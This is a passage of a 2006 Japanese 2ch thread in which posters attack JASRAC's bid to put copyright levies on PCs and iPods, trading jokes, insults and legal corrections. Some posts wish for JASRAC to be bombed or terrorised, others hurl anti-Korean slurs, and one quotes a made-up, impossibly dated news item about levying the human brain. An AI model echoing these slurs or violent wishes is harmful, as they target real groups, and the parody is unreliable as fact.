敵は独裁者JASRACである!

276 :名無しさん@6周年:2006/05/20(土) 14:35:07 ID:Kb7U5UbG0
>>273

>釣れた

というからには、「複製」の意味をちゃんと知っていた上で、
>>266のように故意に理解していないふりをしただけということか。
じゃあ「複製」とはなんなのか説明してもらおうか。

277 :名無しさん@6周年:2006/05/20(土) 14:35:20 ID:czX0M6wz0
脳みそが足りない=某団体様批判=某団体様を批判している奴ら100%割れ厨
工作員はこういう風に括るのが大好き♪

278 :名無しさん@6周年:2006/05/20(土) 14:40:08 ID:Kb7U5UbG0
>>268
>さっさとKasracに改名しろよ
>もちろんKはKoreaのKだけどな!!!

韓国国内の反日世論と、このスレでの反J世論は、どことなく共通点がないか?


279 :名無しさん@6周年:2006/05/20(土) 14:45:06 ID:Da1SYmhd0
>>278
どちらかというとお前の方が近く見える
韓国に著作権の概念がないのは承知しているが

280 :名無しさん@6周年:2006/05/20(土) 14:48:58 ID:FKGyyHoX0
誰か年賀状・卒業論文・売上伝票・プレゼン資料・会議議事録etcの作成で
音楽屋が金銭を受ける権利の正当性を教えてください。

281 :名無しさん@6周年:2006/05/20(土) 14:49:14 ID:n52oOXz6O
逆にこれに金出せばwinny使い放題?

282 :名無しさん@6周年:2006/05/20(土) 14:49:55 ID:TbLYKt+s0
Jしね

283 :名無しさん@6周年:2006/05/20(土) 14:51:12 ID:czX0M6wz0
やるとすればHDDの価格に補償金(笑)を上乗せか。
まさか1軒1軒強面の人がチェックするなんて非現実的だしな。
企業用PCとか音楽CDを再生する可能性のないPCとか
どうするか知らんが。

284 :名無しさん@6周年:2006/05/20(土) 14:53:14 ID:Kb7U5UbG0
>>255
>音楽CD買った時に支払ってるのに
>また支払うの?

音楽CDというのは、レコード会社がレコーディングした原盤を大量複製
することによって作られるだろ?
音楽CDを買うときに払わされる著作権料は、この複製に対する対価なのだ。

よって、買ってきた音楽CDを複製するには、著作権法上認められた例外を
除いて、改めての許諾が必要。

私的複製行為は、「著作権法上認められた例外」の一つ。
だから、買ってきた音楽CDを、自分が楽しむためにカセットテープ、MD、
CD-R、パソコンに複製する行為については、著作権者の許諾を必要と
しない(著作権法30条1項)。

ただし、政令指定された媒体に音楽CDを複製する行為は、著作権者の許諾を
必要としないものの、複製したからには著作権者に対する補償金の支払いが
必要(著作権法30条2項)。

現在のところ、iPodやパソコンは政令指定されてないから、これらの媒体に
対する複製は著作権者の許諾も不要だし、補償金の支払いも不要。
そしてJASRACはiPodやパソコン等の媒体も、政令指定するように主張している。


285 :名無しさん@6周年:2006/05/20(土) 15:12:40 ID:czX0M6wz0
何かiPodだけが携帯音楽端末と思ってるし・・・(´,_ゝ`)プッ
無駄に長いので省略するとPCと携帯音楽端末にCDを
複製するならJ様の「お許し」と「上納金」が必要であるべき

どんな方法で補償金(笑)を取るのか楽しみwww

286 :名無しさん@6周年:2006/05/20(土) 15:16:05 ID:Kb7U5UbG0
>>285
>何かiPodだけが携帯音楽端末と思ってるし・・・(´,_ゝ`)プッ
>無駄に長いので省略するとPCと携帯音楽端末にCDを
>複製するならJ様の「お許し」と「上納金」が必要であるべき

お前はもっと読解力をつけろ。

287 :名無しさん@6周年:2006/05/20(土) 15:22:52 ID:Kb7U5UbG0
>>285

>どんな方法で補償金(笑)を取るのか楽しみwww

今までと同じ方法(JEITA→SARAH→JASRAC)で徴収するのでは?

288 :名無しさん@6周年:2006/05/20(土) 15:49:41 ID:A780oCFl0
>>287
間に人間が入るほど搾取されまくられるんで勘弁してほしいな。

もしくは間に俺を入れてくれ
JEITA→俺→SARAH→JASRAC

289 :名無しさん@6周年:2006/05/20(土) 15:53:47 ID:FKGyyHoX0
ソース側のみに課金しないのはそう言う理由か。
馬鹿馬鹿しいな。

290 :名無しさん@6周年:2006/05/20(土) 15:56:57 ID:C60y+j5i0
>>284
補償金って在り方が既に時代遅れなんだよ

291 :名無しさん@6周年:2006/05/20(土) 15:57:51 ID:SNL03ucr0
>>288
されまくられるって韓国語?

292 :名無しさん@6周年:2006/05/20(土) 16:00:33 ID:Y3Y1v2xl0
JASRACだけではないが、こういう公益法人の会計は基本的に公開されないとおかしいな。
公正さとかを振りかざして仕事をしてるんだから、自らの公正さを広く知らしめる必要が
あると思う。
JASRAC、NHK、ACCSその他もろもろ、公益法人版SOX法が必要だと思う。

293 :名無しさん@6周年:2006/05/20(土) 16:00:42 ID:Kb7U5UbG0
>>291
日本語では?
「する」+「れる」+「まくる」+「れる」

294 :名無しさん@6周年:2006/05/20(土) 16:02:01 ID:SNL03ucr0
>>293
その二つもあるれるは何なんだよ?

295 :名無しさん@6周年:2006/05/20(土) 16:03:45 ID:Kb7U5UbG0
>>292
>JASRACだけではないが、こういう公益法人の会計は基本的に公開されないとおかしいな。

公開されてるけど。

296 :名無しさん@6周年:2006/05/20(土) 16:07:05 ID:FKGyyHoX0
ふと疑問に思ったのだが、ネット配信の場合購入者は何の権利を得ているんだ?

297 :名無しさん@6周年:2006/05/20(土) 16:07:10 ID:Kb7U5UbG0
>>294
どうでもいいんじゃないの?

298 :名無しさん@6周年:2006/05/20(土) 16:10:01 ID:A780oCFl0
>>291
はいはい韓国語です。

どうでもいいことに話を流したり、ウイルスコード貼り付けたり
JASRACもやることがセコイなw

299 :名無しさん@6周年:2006/05/20(土) 16:10:14 ID:SNL03ucr0
読解力云々言っててもその程度か

300 :名無しさん@6周年:2006/05/20(土) 16:12:05 ID:D8xOjA2s0
ざけんなカスラック。
日本の音楽文化を崩壊させたいのかな。


301 :名無しさん@6周年:2006/05/20(土) 16:12:47 ID:SNL03ucr0
>>298
レッテル貼りする前にIDくらいチェックしないと恥ずかしいことになるぞ妄想君

302 :名無しさん@6周年:2006/05/20(土) 16:14:42 ID:G2cP6RBo0
>>64
着メロ買わない。
CD買わない。
カラオケいかない。

303 :名無しさん@6周年:2006/05/20(土) 16:22:27 ID:Kb7U5UbG0
>>296
>ふと疑問に思ったのだが、ネット配信の場合購入者は何の権利を得ているんだ?

ダウンロードする権利(民法上は非金銭債権の一種)

304 :名無しさん@6周年:2006/05/20(土) 16:24:25 ID:S0TcMKgN0
>>60
録音用CDRとかと同じ扱いにするって事なんじゃないの?
つまり録音する権利をカスラック様がくれると・・・楽曲の権利は別なんで金はさらに徴収されます

305 :すべてに答えを出すもの:2006/05/20(土) 16:26:43 ID:RSBggEpu0
 
 
 
 
よその国のアーティストや事務所と情報交換や交流が無いから

独占体制が確立するわけであって、

新人にはまずバックパック技術を叩き込むことから始めなされ。

306 :名無しさん@6周年:2006/05/20(土) 16:29:37 ID:rUemu5VM0
誰かJASRAC爆○してくんねーかなあ

307 :名無しさん@6周年:2006/05/20(土) 16:30:12 ID:BrOP0LWF0
>>300
そんなに日本の音楽文化は残しておくほどの価値あるものなの?

308 :名無しさん@6周年:2006/05/20(土) 16:30:55 ID:Kb7U5UbG0
>>304

>つまり録音する権利をカスラック様がくれると・・・

ちがうちがう。
パソコンへの(私的)録音はJASRACの許諾を得ることなく無断でできる。
このことは、従来も、パソコンが補償金の対象になった後も変わらない。

309 :名無しさん@6周年:2006/05/20(土) 16:31:23 ID:RSBggEpu0
>>221
とりあえず縦に改造してみた



 JASRACへ上納構造


 レンタルする  ← 搾取 

 気に入ったのでCD買う  ← 搾取 

 PCに録音  ← 搾取

 iPodに転送  ← 搾取 

 車用にコピーのCD作る  ← 搾取 

 仕事場で流す  ← 搾取

 カラオケで唄う  ← 搾取

310 :名無しさん@6周年:2006/05/20(土) 16:31:26 ID:n9JAKK+g0
>>300
すでに崩壊しまくりだと思うが・・・。

311 :名無しさん@6周年:2006/05/20(土) 16:36:15 ID:FKGyyHoX0
>>303
thx.
侵害者扱いされるのは癪なので買うのはパッケージだけにしとくか。

312 :名無しさん@6周年:2006/05/20(土) 16:36:57 ID:cBy7T8A30
★脳内も私的録音補償金の対象に

・JASRACは,2009年11月に文化審議会が,人間の脳内において音楽を再生する能力について
 私的録音補償金の対象に指定することを見送った件で
 2010年2月,「大きな問題を残した。当協会としてはこれらの能力を私的録音補償金の
 対象とすべきと考えており,今後も引き続きその対応を求める」との意見を表明していた。

 報告会でもあらためてこれに触れて,「パソコンだけではなく脳内も含め,私的録音への
 対応を考えたい。脳内は機械ではないが,配信された音楽を記憶できる実態に
 着目して補償金の対象としたい」(常務理事の泉川昇樹氏)とした。
 JASRACでは2010年4月より検討を開始しているという。(抜粋)
 http://techon.hogehoge.co.jp/article/NEWS/20060517/117177/


313 :名無しさん@6周年:2006/05/20(土) 16:36:58 ID:pQPQp1mg0
えっと・・・中世の領主みたいだなw

314 :名無しさん@6周年:2006/05/20(土) 16:39:57 ID:WCUFiR050
>>303
とすると、
ダウンロードした曲を保存する権利
保存した曲を聴く権利
保存した曲をポータブル機にコピーする権利
ポータブル機で曲を聴く権利

ええと、あと補償金取れそうなところは無いかな

315 :名無しさん@6周年:2006/05/20(土) 16:40:00 ID:Bc4L9Jc10
>>309
使うたびにお金がかかるってそんなに不自然なのだろうか。

それはそれとしてPCへの課金には反対だが。

316 :名無しさん@6周年:2006/05/20(土) 16:40:05 ID:+eER+q8J0
そのうち
HDD用磁気ヘッドに(ry
データを転送するケーブルに(ry
とか言い出しそうだな

317 :名無しさん@6周年:2006/05/20(土) 16:41:02 ID:SZZN4n8xO
>>312
ネタにみえん

318 :名無しさん@6周年:2006/05/20(土) 16:41:43 ID:RSBggEpu0
 
ああ、あと
 
「対抗アーティストの曲名+業界の裏利権リスト」

の名前でnyに放流するという手も(ry

319 :名無しさん@6周年:2006/05/20(土) 16:42:57 ID:oXevpE2A0
こいつら、リフォーム詐欺の連中と同じで、

追い剥ぎとあまり変わらんな。

320 :名無しさん@6周年:2006/05/20(土) 16:45:31 ID:Ke9ioHtc0
カスラックめ・・・

321 :名無しさん@6周年:2006/05/20(土) 16:47:01 ID:4BXvN2Os0
そのうち、電車やバスなどで音楽鳴らして
改札・出口で強引に徴収しそうだな。「あんた聞いたよな?金払え。」

まずは口笛、鼻歌からかな?

マジで独占禁止法対象じゃん。

322 :名無しさん@6周年:2006/05/20(土) 16:48:30 ID:Kb7U5UbG0
>>321
独占禁止法ってどんな法律か知ってる?


323 :名無しさん@6周年:2006/05/20(土) 16:48:37 ID:0XocNnoNO
まだぼったくりするつもりか
ロられろ

324 :名無しさん@6周年:2006/05/20(土) 16:48:59 ID:pnw/XYXb0
>>1
カスラックはマジで倒産してくれないかな?
一体この地球上の誰がこの会社の存続を望んでいるの?

325 :名無しさん@6周年:2006/05/20(土) 16:49:14 ID:0LIKiUmMO

JASRAC…もう、こいつら、いい加減にしろ。
著作権にたかるハイエナ連中は一掃しないといかんな。


326 :名無しさん@6周年:2006/05/20(土) 16:51:28 ID:RMynOz1B0
>パソコンはオーディオ専門機ではないが,音楽配信サービスの

音楽配信サービスから徴収してないの?

ところで、JASRACの使途不明金とかのソースって何処にあるの

327 :名無しさん@6周年:2006/05/20(土) 16:52:19 ID:Kb7U5UbG0
>>324

>カスラックはマジで倒産してくれないかな?
>一体この地球上の誰がこの会社の存続を望んでいるの?

iTunes社など、著作物を大量に利用する会社にとっては、
JASRAC(別にJASRACでなくてもいいんだけど、これ相当の団体)は
なくてはならないだろうな。

328 :名無しさん@6周年:2006/05/20(土) 16:52:24 ID:XQb8KTae0
これは酷い。


329 :名無しさん@6周年:2006/05/20(土) 16:53:49 ID:8NC8qP850
なにこの、MSもまっさおのボッタくり集団は

330 :名無しさん@6周年:2006/05/20(土) 16:55:38 ID:bfa9rkyc0
>>177
確かに音楽著作権は万人からどんなものでも取ろうとするのに
いざ配るほうはといえば登録料を払った登録者以外には配分しないんだよな。

登録者ではない分まで徴収して配分しないってのは明らかに変だろう・・・


331 :名無しさん@6周年:2006/05/20(土) 16:57:49 ID:LA+84Rp30
逆にこれを機に この糞団体の怪しい活動を世に広められるんじゃねーの?

332 :名無しさん@6周年:2006/05/20(土) 17:01:21 ID:JCrLgJ640



ギャーハッハッハ!!!>JASRAC



>306
これでおk?

333 :名無しさん@6周年:2006/05/20(土) 17:02:29 ID:bfa9rkyc0
>>224
しかしDVD-Rの保証金2円っておかしくないか?
保証金有る無しで差額があるような。

ついでに事務手続をかんがえれば総量は本来全部向こうの負担であるべきだろうから
着払いの宅急便でも使えばいいんじゃね。

334 :名無しさん@6周年:2006/05/20(土) 17:45:07 ID:TF0MwJY90
すげえな。行為ではなく能力が問題となる時代が到来したのか。

犯罪を行う能力の保持が罪となるなら赤子以外はほぼ全員タイーホだなw

335 :名無しさん@6周年:2006/05/20(土) 17:59:02 ID:WSVXqDwF0
このスレまたウィルスはってる?
なんかうまく見られないんだけど。
削除人あぼーんしてくれよ

336 :名無しさん@6周年:2006/05/20(土) 18:00:04 ID:teUHe6Dz0
カメラのメモリーも音楽を記録できる能力があるからデジカメにも課金しないと

337 :名無しさん@6周年:2006/05/20(土) 18:00:20 ID:+2UmJfo30
iPodはAppleだけだから、まだ徴収できる可能性があったけど、
パソコンも含めちゃうと全パソコンメーカーから袋だたきに遭うんじゃないか?

338 :名無しさん@6周年:2006/05/20(土) 18:04:15 ID:QwdZkjrr0
カスラック管轄曲の不買運動でもするか…

339 :名無しさん@6周年:2006/05/20(土) 18:04:36 ID:rPZGmmnE0
>音楽配信サービスから徴収してないの
当然している
>カスラックはマジで倒産してくれないかな?
>一体この地球上の誰がこの会社の存続を望んでいるの?
しかしこれもね困った問題でJASRAC一社で独占している方が
便利な場合もあるんだよ。
いろんな会社が複数出てきてバラバラ
この歌手の曲はA社でこのアニメ声優の曲はB社で
あのロックバンドの曲はC社が管理しているとかなると
使う方の人の手続きがすんごくめんどくさい。
そういう意味では一社が統括管理している方がいいんだよ

340 :名無しさん@6周年:2006/05/20(土) 18:10:58 ID:N8BRkaur0
>>194

それだ!

341 :名無しさん@6周年:2006/05/20(土) 18:17:52 ID:NTqN09+W0
>>339
一括管理もさる事ながら、全国津々浦々まで出かけて行って
未契約の酒場から徴収してくる業務だけは他社には真似できない
この機能がある限り、権利者はJASRACに信託する道を選ばざるを得ない

342 :名無しさん@6周年:2006/05/20(土) 18:23:12 ID:cBy7T8A30
管理会社は複数あっていいんだよ。
統括連携部門があれば。

ひとつのほうが成長しない

343 :名無しさん@6周年:2006/05/20(土) 18:26:50 ID:AAdgNu4n0
>>335
専用ブラウザ使ってるなら本文をNGあぼーんにして再読み込みすれ

344 :名無しさん@6周年:2006/05/20(土) 18:33:55 ID:pzfl5W1k0
こうなってきたら意地でもJASRACに金が入らない方法で音楽を聴くか、一切聴かない方向にしたいな。
で、JASRACがどんどん規制と課金の対象を強化していって、今まで気にしたこともない人達まで
違和感を覚え始めてJASRAC自爆。




345 :名無しさん@6周年:2006/05/20(土) 18:37:54 ID:5OVv1BuMO
というかカスラックは本気なのか?
あまく考えすぎじゃないか?
仮にHDDに課金するとしたら当然返還請求の事も考えないとだめだが
HDD内のデータを調査するなら当然データについて守秘契約書を作らないといけないし
送料程度ならともかくその辺の費用は当然カスラック持ち
さらに流出したら慰謝料を払う必要も出てくるわけだが…

346 :名無しさん@6周年:2006/05/20(土) 18:37:59 ID:c6QR8jdO0
脳が不自由な奴ばっかだな。さすがだ。

347 :名無しさん@6周年:2006/05/20(土) 18:38:55 ID:o0+GzlR00
日テレアナウンサーが持つカメラ付き携帯はわいせつ物に認定しろ、みたいなもんだな。


348 :名無しさん@6周年:2006/05/20(土) 18:39:27 ID:SNL03ucr0
>>346
まさかお前の脳みそ頭蓋骨外して出し入れしたりできるの?

349 :名無しさん@6周年:2006/05/20(土) 18:42:31 ID:c6QR8jdO0
>>348
俺はできないけど、この連中はみなロボトミーを受けたほうがいいと思うよ。

350 : ̄ ̄∨ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄:2006/05/20(土) 18:42:54 ID:ZqnBkV1c0
    ∧_∧
    <;`Д´>      ∧_∧
   /    \      (´∀` ) ハハハ
__| |     | |_   /    ヽ
||\  ̄ ̄ ̄ ̄   / .|   | |
||\..∧_∧ ・・・ (⌒\|__./ ./
||. . (    )     ~\_____ノ|  ∧_∧.
.  _/   ヽ          \|   ( ´_ゝ`) 何だコイツ?
.  |     ヽ          \ /    ヽ.
.  |    |ヽ、二⌒)       / .|   | |
.  .|    ヽ \∧_∧   (⌒\|__./ ./
   ヽ、___ (    ) プッ  ~\_____ノ|  ∧_∧
.         _/   ヽ          \|  (´Д` ) 厨房臭くね?
.         |     ヽ          \ /    ヽ、
.         |    |ヽ、二⌒)       / .|   | |
.         .|    ヽ \\       (⌒\|__./ ./
.         ヽ、____ \\      ~\_____ノ|

351 :名無しさん@6周年:2006/05/20(土) 18:47:42 ID:5fm8mCdWO
カスラックはアボーンでFA?

352 :名無しさん@6周年:2006/05/20(土) 18:47:43 ID:c6QR8jdO0
俺の発言が、自分に対して言われたと勘違いして煽っている痛い奴がいるな。www

353 :名無しさん@6周年:2006/05/20(土) 18:53:33 ID:N09T0Ih60
蓄音機のおもちゃで紙コップとかに録音できるのがあるけど
こういったものが、爆発的に売れたら、紙コップも対象に
するのかな。

354 :名無しさん@6周年:2006/05/20(土) 18:58:38 ID:pzfl5W1k0
CD−Rみたいに録音用と飲食用の二種類の紙コップが売られるんじゃない?
飲食用→20個入り/100円
録音用→10個入り/1200円
マイナーなメディアなので割高です。


355 :名無しさん@6周年:2006/05/20(土) 18:59:08 ID:z1tBMh090
JASRACが課金対応のパソコンを作って売ってみればいいのさ
誰もついてこなければ間違いだ


356 :名無しさん@6周年:2006/05/20(土) 19:00:19 ID:hQdJwQ6GO
トップが朝鮮系なのか?この団体

357 :名無しさん@6周年:2006/05/20(土) 19:01:52 ID:N09T0Ih60
USBメモリやCFカードに課金するのか?。
録音できる媒体に課金するなら、フラッシュメモリにも
課金するのか?。

358 :名無しさん@6周年:2006/05/20(土) 19:09:02 ID:/mxqM9bK0
カネを取り立てることしかやる事を考えて来ないから、こんなことになるんだよ。

 手段が目的化しちまった組織は、社会が変われば滅ぶしかないのだが・・・

359 :名無しさん@6周年:2006/05/20(土) 19:09:18 ID:bfa9rkyc0
>>340
カスは返還請求は証拠提示しろって書いてるから難しいかもな。
>>211>>216をみても証明に内容確認は行なってないとはいえDVD-Rを送る段階までになっている。
つまり書類上だけでは済まないって事。

その点から言って機密情報が多い企業のHDDなんか送り付けて
下手に情報流出なんて事態になったら企業は死活問題になる。



360 :名無しさん@6周年:2006/05/20(土) 19:13:27 ID:bfa9rkyc0
>>341
そんな事は無いと思うよ。
何処かの他社に全委託すると公言すれば良い。
出来ない部分はその会社の問題だし、カスとその他社との協議になるので
(全委託すると宣言した)その段階でカスがその個人と交渉する必要がなくなる筈・・・なんだけどなぁ。

361 :名無しさん@6周年:2006/05/20(土) 20:06:53 ID:e76IuYbh0
未契約の酒場から徴収してくるための音楽なんて聞く方が馬鹿〜。
捨てようぜ、あってもなくてもいいものなんだから。

362 :名無しさん@6周年:2006/05/20(土) 20:10:27 ID:e76IuYbh0
携帯も音楽プレイヤー化してるがここからは取らないの?音楽機能省いたやつ選ばないとな

363 :名無しさん@6周年:2006/05/20(土) 20:24:12 ID:RSBggEpu0
さすがに創作家同士の情報交換や共有までは妨害出来ないからねぇ
共謀罪使わない限りは。
妨害しても創作できなくなってカネが生まれなくなるなるだけだし。
まぁ外で交渉出来るようになるまでの最低限必要な知識をまず共有すればよろし。

364 :名無しさん@6周年:2006/05/20(土) 20:32:55 ID:0mMwa5HIO
PCに課金ってもう明らかに違法じゃん
さすが基地外カスラック

365 :名無しさん@6周年:2006/05/20(土) 20:34:53 ID:y2yUU5pk0
PC1台あたり50万円の補償金。

366 :名無しさん@6周年:2006/05/20(土) 21:48:44 ID:Sf0bEgD+0
>>1
これは有り得ない
カスラックはもうなくなればいいと思うよ

367 :名無しさん@6周年:2006/05/20(土) 22:09:19 ID:kd4PvtGqO
更にこいつらの次の課金対象は携帯電話なんだよ
その布石で今はなんとしてもパソコンやメモリー機器に課金を決めておきたいんだよ。

購入の度に500円や1000円が何もせずに懐にはいるんだから必死だよ。

彼ら協会の職員や役員の給与や報酬金額知ったら馬鹿馬鹿しくなるよ。

368 :名無しさん@6周年:2006/05/20(土) 22:14:45 ID:u8UB8svi0
CCCD導入したらCD安くするって話はどこへ消えたんだ。
CD\3000にしただろって?
安くなったとはいわんだろう。3%じゃ。

369 :名無しさん@6周年:2006/05/20(土) 22:39:07 ID:3t4TkzoQ0
>CCCD導入したらCD安くする
そんなことは誰も言ってないよ
その話が出てきたのは逆輸入規制の時
もちろん安くなんかなっておりません
ネット配信もアメリカで99セント(約110円)でできるのに
日本だと大抵新曲は200円でしょ。ぼったくり極まりない

370 :名無しさん@6周年:2006/05/20(土) 22:40:58 ID:Kb7U5UbG0
>>368
>>369
JASRACは関係ないと思うが。

371 :名無しさん@6周年:2006/05/20(土) 23:07:06 ID:/xzWfSOl0
>>370
なぜそこまで人のレスに一生懸命なんだ?
>>276>>278>>284>>286>>287>>295>>303>>308>>327

372 :名無しさん@6周年:2006/05/20(土) 23:10:23 ID:NZ4YfMTB0
JASRACの機密データがwinnyに流出してたら面白そうだ

373 :名無しさん@6周年:2006/05/20(土) 23:11:29 ID:Bc4L9Jc10
>>371
その人がどうだかは知らないけど
間違ったレスがそのまま放置され、まるで事実かのように流れてしまうことが多いから
そのへん気になる人は気になるでしょう。

私はとっても気になります。

374 :名無しさん@6周年:2006/05/20(土) 23:14:23 ID:TF0MwJY90

深夜勤の工作員キタ━━━━━━(゚∀゚)━━━━━━ !!!!

375 :名無しさん@6周年:2006/05/20(土) 23:17:25 ID:8kuWFJUU0
空気にも課金しそうな勢いだな

376 :名無しさん@6周年:2006/05/20(土) 23:22:16 ID:VhT7Xqkw0
音楽だけじゃない!
潜在的にあるはずの肖像権の侵害だとか書籍の著作権、商標の補償も
行うべき。ハードディスクを介して行われる全ての権利侵害に補償を!

377 :名無しさん@6周年:2006/05/20(土) 23:30:26 ID:Kb7U5UbG0
>>376

>ハードディスクを介して行われる全ての権利侵害に補償を!

補償金制度というのは、権利侵害による損失を補償するものじゃないんだけどな。

378 :名無しさん@6周年:2006/05/20(土) 23:36:54 ID:eGROB6LF0
ID:Kb7U5UbG0の法律家気取りまだいたのかよ。
夕方から何ずっと貼りついているんだ?しつけー。

379 :名無しさん@6周年:2006/05/20(土) 23:39:17 ID:Kb7U5UbG0
>>378
しつこいか?
単に間違いを指摘してるだけだが。

380 :名無しさん@6周年:2006/05/20(土) 23:43:49 ID:Bc4L9Jc10
しつこいっていうかさ、どうしてこんだけ間違いを何度も指摘されても
同じ間違いが繰り返されるのだろうか。

JASRAC関係のスレってちょっと不思議。



って書くと工作員認定かな?

381 :名無しさん@6周年:2006/05/20(土) 23:54:18 ID:Kb7U5UbG0
>>380
JASRACに限らないけどな。

382 :名無しさん@6周年:2006/05/21(日) 00:06:53 ID:wZQDGiYm0
>>380
わざと間違ってるか
ぽっと来て言い放つ面白ちょっかい
が多いからだろうな。

2chの発言の90%は根も葉もないか、未確証か、事実に則してない情報じゃない?
そんなもんでしょ。

でも、仕事柄いろいろ申請書類出したりやりとりした俺もjasracは嫌い。
細かすぎるし、あまりにも執拗だ。

383 :名無しさん@6周年:2006/05/21(日) 00:12:40 ID:DHHFI9Qe0
>>368
CCCDじゃなくて、CD輸入制限の著作権法改正のときにこの改正が行われたら
CDの値段を安くするというようなことを言ってたな。で、安くなった?
まぁ、エイベックスのヨダが言うには「昔からCDは3000円で今まで値上げせず
そのままの値段なんだから実質的な値下げだ」ということらしいが・・・


あと補償金HDDに掛けるのだろうけど、音楽ファイル入れてない入れたこと無いと言っても
オリジナル曲しか演奏して無いと主張したライブハウスに
「裁判でオリジナル曲しか演奏して無いことを証明してください。裁判にはお金かかりますよ」
と脅迫したJASRACだからなぁ・・・HDDに音楽ファイル入れたこと無いこと証明してくださいと言われるんだろうな。
そもそも訴える場合、JASRACが「相手が版権曲を演奏した。」「版権曲の音楽ファイルをHDDに入れた」
訴えてるのだから、訴えたほうが証明しなくちゃいけないのに・・・。

384 :名無しさん@6周年:2006/05/21(日) 00:18:14 ID:IO7gqJVt0
>>383
このレスからして大きな事実誤認があるし。
毎度お馴染みの誤りだから、指摘する気にならん。


385 : :2006/05/21(日) 00:25:35 ID:fc0AzS6IO
パソコンという物に音楽が便乗してきたんだからな
課金するとしてもメディアプレイヤーに課金しろや

386 :名無しさん@6周年:2006/05/21(日) 00:31:02 ID:5fBqUYeb0
速+のJASRACスレだけいちいち指摘する奴が
「妙」に多いのが以前からの謎。

ただの馬鹿に対する親切だけとは思えない。

387 :名無しさん@6周年:2006/05/21(日) 00:31:04 ID:aYpkN48J0
>>384
そういうときはわざわざレスせず黙っているものだよ。







反論できませんって白状してるようなもんじゃんwwww


388 :名無しさん@6周年:2006/05/21(日) 00:32:01 ID:DHHFI9Qe0
いや、事実を事実誤認にしたい方なんでしょw

389 :名無しさん@6周年:2006/05/21(日) 00:34:22 ID:CzcSU4lG0
音楽配信サービスって金を払って更に保証金を払うのか?
役に立たない寄生虫のような団体だな・・・

390 :名無しさん@6周年:2006/05/21(日) 00:38:41 ID:5fBqUYeb0
ID:IO7gqJVt0のレスまだ?今、カキコ中かな。
いや〜事実を知りたいだけですよ。(・∀・)ニヤニヤ

391 :名無しさん@6周年:2006/05/21(日) 00:42:44 ID:p/EH9YGs0
なんだこいつらは?
こいつ等を管轄してるのはどこだ?総務省か?

いい加減にしろよ。

392 :名無しさん@6周年:2006/05/21(日) 00:42:52 ID:h0dfDgwO0
YMOのなんてったっけ、ほらあの人に頼めばいいんじゃまいか‥

393 :名無しさん@6周年:2006/05/21(日) 00:48:44 ID:YV+Br7k90
そのうち精子も課金されそうだな

394 :名無しさん@6周年:2006/05/21(日) 00:48:46 ID:ybvip9Br0
>>383
平成12年を100とすると18年3月は90(教養・娯楽)
前年度と比較すると0.6%下落している。
ttp://www.stat.go.jp/data/cpi/sokuhou/tsuki/index-z.htm

物価を考慮すると価格は上がっているな。

395 :名無しさん@6周年:2006/05/21(日) 00:53:27 ID:0BMPANkq0
>>392
平沢進さん?

396 :名無しさん@6周年:2006/05/21(日) 00:54:24 ID:5deeXVWD0
許せませんわ

397 :名無しさん@6周年:2006/05/21(日) 00:56:39 ID:4h+UlQh50
>>382
憶測で書かれてるものが多いのはそのとおりだけど
ちょっと調べれば事実と違うとわかることが何度も出てくる、っていう点が不思議。

しかもスレ内でそれを何度指摘されても一向に改まらない。

JASRACや著作権関係のスレがたつたびにレスしてる人たちが全員入れ替わってる、というのならわかるけど。
IDで検索してくとわかると思うけど、間違いを指摘する人の人数が少ないんだよね。

それをして「工作員だ!」って騒ぐ人もいるけど、
どうしてそれら少数の人以外は明らかな間違いを指摘しないのか、というのが不思議。

他のスレだと何かを叩いているスレであっても明らかな事実誤認でネット上でソースが確認できるものの場合は
むしろ鬼の首でもとったかのように「それは違う」というレスが複数ついたりもするんだけどね。

そんなわけで前から不思議に思ってたんだよね。

まあ今後も変わらない気がするし、2ちゃんだからそれでいいんだろうけど。

398 :名無しさん@6周年:2006/05/21(日) 01:01:04 ID:X3BNHUK90


JASRACは金の亡者



399 :名無しさん@6周年:2006/05/21(日) 01:01:35 ID:V5JZl86S0
>>398
何を今更

400 :名無しさん@6周年:2006/05/21(日) 01:04:06 ID:DViql9lF0
そのうち自分の声帯にも補償金を要求されるに違いない。

401 :名無しさん@6周年:2006/05/21(日) 01:08:19 ID:5fBqUYeb0
その素晴らしい知識や論理的思考とやらを
このスレだけに集約し、執拗に気にする
理由は何なんの博識さんよ。

402 :名無しさん@6周年:2006/05/21(日) 01:12:55 ID:5fBqUYeb0
要するに反J世論が全て気に入らないだけだろ
そうならそう言えよな。

403 :名無しさん@6周年:2006/05/21(日) 01:13:02 ID:rkTG1gI50
>>397
工作員さん、そうやって話を逸らせるとはなかなかやるねぇ。

まあどっちにしろ、漏れ的には拡大解釈での改悪の料金徴収は認められないけどなw

404 :名無しさん@6周年:2006/05/21(日) 01:16:31 ID:4h+UlQh50
>>401
俺のこと?

俺はただなんか不思議だなあ、と思って興味ひかれてる。
いったいどこまでループしつづけるのかな?みたいな。

あと俺自身がJASRACを利用してる身である、っていう点もあるね。
著作権にまつわる話自体にそもそ専門的な興味があり、ネット上ではどのように思われているのか見るのは面白いと思ってる。

その過程で不思議なループ具合をいくつか発見したので、それにも興味津々、みたいな。
まあ暇つぶしの一種ですよ、多少実益を兼ねてますが。

あ、でもPCへの課金には反対だよ。

ちなみにこのスレ以外でも同じようなループ具合を見せてるところがあればそこにも興味がある。

405 :名無しさん@6周年:2006/05/21(日) 01:22:27 ID:RL7oagkS0
税金だと思って諦めよう。
今度生まれ変わるときは、政治が腐敗している日本のような、アジアの
後進国では無く、まともな先進国に生まれてくることを祈ろう。


406 :名無しさん@6周年:2006/05/21(日) 01:24:48 ID:XAluYYIQ0
>>386
カススレは単発スレ粘着が多い。
煙草スレは単発IDが多い。
フェミスレは自演が多い。

三大法則だなw


407 :名無しさん@6周年:2006/05/21(日) 01:27:45 ID:w9xmQT+c0
パソコンに対して課金するってことは…


音楽の違法アップ/ダウンロードが、合法になるって事だと理解した。

408 :ハトーリ神:2006/05/21(日) 01:30:37 ID:8sa7QLcN0
なんで、ここの人ってこんなに他人をけなしたり馬鹿にしたりすることしかできないんですか?
噂を聞いて覗いてみたけど、気持ち悪くなりました。
日頃の鬱憤をここではらしているということですか?
鬱憤をはらしたいとはいえ、特定の人物や団体をけなしたり馬鹿にすることは、人間のすることではありません。
じゃあ見なければいいと言われるかもしれませんが、それはできません。
僕は、人が暴力をふるわれているのに、見なかったことにするなんてできません。
これは言葉の暴力です。
それと、もしかしたら、ここで罵られている人は、罵られていることを知らないかもしれません。
でも、本人が見ているとか見ていないに関わらず、こういう行為はやめてください。
